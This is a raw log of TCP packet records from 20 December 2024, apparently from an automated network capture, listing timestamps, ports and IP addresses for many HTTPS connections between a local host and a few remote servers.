Dec 20, 2024 20:31:46.396689892 CET	49759	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.397641897 CET	49759	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.397671938 CET	443	49759	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.398427010 CET	443	49754	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.398493052 CET	49754	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.398535967 CET	443	49754	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.398699045 CET	443	49754	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.398749113 CET	49754	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.399270058 CET	49754	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.399292946 CET	443	49754	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.406145096 CET	49760	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.406215906 CET	443	49760	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.406297922 CET	49760	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.406514883 CET	49760	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.406548023 CET	443	49760	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.425921917 CET	49761	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.425976038 CET	443	49761	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.426045895 CET	49761	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.426508904 CET	49762	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.426570892 CET	49761	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.426588058 CET	443	49761	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.426594019 CET	443	49762	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.426656961 CET	49762	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.426906109 CET	49762	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.426939011 CET	443	49762	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.498197079 CET	49763	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.498235941 CET	443	49763	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.498321056 CET	49763	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.498573065 CET	49763	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.498588085 CET	443	49763	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.566169977 CET	443	49758	142.250.181.132	192.168.2.8
Dec 20, 2024 20:31:46.568294048 CET	49758	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:31:46.568408966 CET	443	49758	142.250.181.132	192.168.2.8
Dec 20, 2024 20:31:46.568907976 CET	443	49758	142.250.181.132	192.168.2.8
Dec 20, 2024 20:31:46.569236040 CET	49758	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:31:46.569334030 CET	443	49758	142.250.181.132	192.168.2.8
Dec 20, 2024 20:31:46.627857924 CET	49758	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:31:46.756743908 CET	443	49755	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.760694981 CET	443	49755	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.760771036 CET	49755	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.760785103 CET	443	49755	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.760831118 CET	49755	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.760837078 CET	443	49755	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.760946035 CET	443	49755	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.760993004 CET	49755	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.793804884 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.793837070 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.793848991 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.793905020 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.793956041 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.793987036 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.794066906 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.794101000 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.835980892 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.998223066 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.998236895 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.998300076 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.998363018 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.998382092 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.998461962 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:46.998505116 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:46.998505116 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.010222912 CET	49755	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.010251045 CET	443	49755	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.059257030 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.059286118 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.059398890 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.059457064 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.059521914 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.134634018 CET	49765	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.134741068 CET	443	49765	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.134834051 CET	49765	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.136670113 CET	49765	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.136707067 CET	443	49765	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.172091961 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.172121048 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.172203064 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.172233105 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.172287941 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.202846050 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.202887058 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.202986956 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.203006983 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.203077078 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.232945919 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.232980013 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.233069897 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.233086109 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.233141899 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.340720892 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.340747118 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.340838909 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.340883017 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.340912104 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.340934992 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.345786095 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.345875978 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.345877886 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.345921040 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.346155882 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.346195936 CET	443	49757	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.346220016 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.346256018 CET	49757	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.815360069 CET	443	49759	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.815713882 CET	49759	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.815788984 CET	443	49759	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.816302061 CET	443	49760	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.816307068 CET	443	49759	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.816648960 CET	49759	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.816745043 CET	443	49759	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.816793919 CET	49760	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.816827059 CET	443	49760	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.816898108 CET	49759	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.817302942 CET	443	49760	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.817594051 CET	49760	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.817676067 CET	443	49760	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.817677975 CET	49760	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.819418907 CET	443	49761	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.819586992 CET	49761	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.819611073 CET	443	49761	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.819684982 CET	443	49762	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.819854021 CET	49762	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.819868088 CET	443	49762	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.819953918 CET	443	49761	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.820220947 CET	443	49762	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.820231915 CET	49761	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.820291996 CET	443	49761	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.820482969 CET	49762	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.820549965 CET	443	49762	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.820557117 CET	49761	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.820657015 CET	49762	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.857372999 CET	49760	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.857410908 CET	443	49760	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.863338947 CET	443	49759	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.867328882 CET	443	49762	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.867340088 CET	443	49761	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.910866976 CET	443	49763	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.911159039 CET	49763	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.911176920 CET	443	49763	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.912195921 CET	443	49763	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.912271976 CET	49763	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.912625074 CET	49763	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.912683964 CET	443	49763	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.912764072 CET	49763	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:47.912770033 CET	443	49763	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:47.953229904 CET	49763	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.527411938 CET	443	49765	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.527671099 CET	49765	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.527724028 CET	443	49765	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.528702021 CET	443	49765	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.528765917 CET	49765	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.529095888 CET	49765	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.529150009 CET	443	49765	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.529242992 CET	49765	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.529252052 CET	443	49765	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.569591045 CET	49765	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.630654097 CET	443	49762	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.638319016 CET	443	49760	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.638614893 CET	443	49762	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.638685942 CET	49762	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.639333010 CET	49762	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.639380932 CET	443	49762	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.641982079 CET	49717	443	192.168.2.8	216.58.208.227
Dec 20, 2024 20:31:48.642112970 CET	443	49717	216.58.208.227	192.168.2.8
Dec 20, 2024 20:31:48.642184973 CET	49717	443	192.168.2.8	216.58.208.227
Dec 20, 2024 20:31:48.642328978 CET	49766	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.642426014 CET	443	49766	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.642502069 CET	49766	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.642903090 CET	443	49760	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.642976046 CET	49760	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.643002033 CET	443	49760	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.643234968 CET	49766	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.643274069 CET	443	49766	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.643582106 CET	443	49760	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.643642902 CET	49760	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.643677950 CET	49760	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.643692970 CET	443	49760	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.646475077 CET	443	49761	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.646492958 CET	443	49761	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.646529913 CET	49761	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.646542072 CET	443	49761	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.646565914 CET	443	49761	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.646595001 CET	49761	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.647068024 CET	49761	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.647078991 CET	443	49761	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.661056042 CET	443	49759	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.661087036 CET	443	49759	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.661158085 CET	443	49759	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.661190987 CET	49759	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.661259890 CET	49759	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.666965961 CET	49759	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.667009115 CET	443	49759	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.669981003 CET	49767	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.670028925 CET	443	49767	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.670099020 CET	49767	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.670324087 CET	49767	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.670344114 CET	443	49767	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.788026094 CET	443	49763	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.789593935 CET	443	49763	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.789669991 CET	49763	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.789683104 CET	443	49763	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.789694071 CET	443	49763	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.789730072 CET	49763	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.790004969 CET	49763	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.790018082 CET	443	49763	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.796435118 CET	49768	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.796564102 CET	443	49768	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:48.796672106 CET	49768	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.796873093 CET	49768	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:48.796897888 CET	443	49768	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:49.426501036 CET	443	49765	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:49.429619074 CET	443	49765	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:49.429732084 CET	49765	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:49.429780006 CET	443	49765	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:49.429824114 CET	49765	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:49.429968119 CET	443	49765	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:49.430052996 CET	443	49765	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:49.430092096 CET	49765	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:49.432096004 CET	49765	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:49.432116985 CET	443	49765	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:49.994481087 CET	49769	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:49.994534016 CET	443	49769	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:49.994636059 CET	49769	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:49.994893074 CET	49769	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:49.994899988 CET	443	49769	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.067332029 CET	443	49766	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.067760944 CET	49766	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.067812920 CET	443	49766	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.068211079 CET	443	49766	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.068517923 CET	49766	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.068581104 CET	443	49766	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.068650007 CET	49766	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.115092993 CET	443	49767	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.115328074 CET	443	49766	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.115485907 CET	49767	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.115562916 CET	443	49767	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.116054058 CET	443	49767	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.116409063 CET	49767	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.116504908 CET	443	49767	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.116550922 CET	49767	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.163372040 CET	443	49767	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.164971113 CET	49767	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.223284006 CET	443	49768	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.223665953 CET	49768	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.223707914 CET	443	49768	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.227623940 CET	443	49768	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.227735043 CET	49768	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.228084087 CET	49768	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.228173018 CET	443	49768	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.228226900 CET	49768	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.274693012 CET	49768	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.274719954 CET	443	49768	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.321607113 CET	49768	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.953954935 CET	443	49766	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.954488039 CET	443	49766	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.954550028 CET	49766	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.954762936 CET	49766	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.954785109 CET	443	49766	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.961749077 CET	443	49767	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.961776018 CET	443	49767	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.961855888 CET	49767	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.961874962 CET	443	49767	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:50.961925983 CET	49767	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.962614059 CET	49767	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:50.962656975 CET	443	49767	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:51.198833942 CET	443	49768	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:51.199374914 CET	443	49768	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:51.199441910 CET	49768	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:51.199475050 CET	443	49768	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:51.199511051 CET	443	49768	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:51.199548960 CET	49768	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:51.199821949 CET	49768	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:51.199840069 CET	443	49768	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:51.394253016 CET	443	49769	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:51.394582987 CET	49769	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:51.394599915 CET	443	49769	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:51.394927979 CET	443	49769	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:51.395236969 CET	49769	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:51.395289898 CET	443	49769	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:51.395787954 CET	49769	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:51.443341017 CET	443	49769	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:52.318449974 CET	443	49769	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:52.318536043 CET	443	49769	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:52.318599939 CET	49769	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:52.318732023 CET	49769	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:52.318747997 CET	443	49769	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:56.259601116 CET	443	49758	142.250.181.132	192.168.2.8
Dec 20, 2024 20:31:56.259670973 CET	443	49758	142.250.181.132	192.168.2.8
Dec 20, 2024 20:31:56.259743929 CET	49758	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:31:57.058334112 CET	49758	443	192.168.2.8	142.250.181.132
Dec 20, 2024 20:31:57.058368921 CET	443	49758	142.250.181.132	192.168.2.8
Dec 20, 2024 20:31:58.072647095 CET	49770	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:58.072741032 CET	443	49770	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:58.072860003 CET	49770	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:58.073200941 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:58.073255062 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:58.073309898 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:58.073544979 CET	49770	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:58.073585033 CET	443	49770	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:58.073800087 CET	49772	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:58.073887110 CET	443	49772	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:58.073944092 CET	49772	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:58.074183941 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:58.074198961 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:58.074323893 CET	49772	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:58.074346066 CET	443	49772	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:58.339484930 CET	49773	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:58.339572906 CET	443	49773	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:58.339693069 CET	49773	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:58.340023041 CET	49773	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:58.340058088 CET	443	49773	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.491034031 CET	443	49770	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.491128922 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.497448921 CET	443	49772	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.512590885 CET	49772	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:59.512615919 CET	443	49772	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.512706995 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:59.512720108 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.512806892 CET	49770	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:59.512833118 CET	443	49770	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.513001919 CET	443	49772	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.513190985 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.513353109 CET	49772	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:59.513406038 CET	443	49772	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.513428926 CET	443	49770	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.513628960 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:59.513699055 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.513900042 CET	49770	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:59.513979912 CET	443	49770	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.514062881 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:59.514105082 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:59.514108896 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.556202888 CET	49770	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:59.563951015 CET	49772	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:59.805172920 CET	443	49773	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.805510998 CET	49773	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:59.805543900 CET	443	49773	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.806509972 CET	443	49773	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.806569099 CET	49773	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:59.831309080 CET	49773	443	192.168.2.8	159.89.96.140
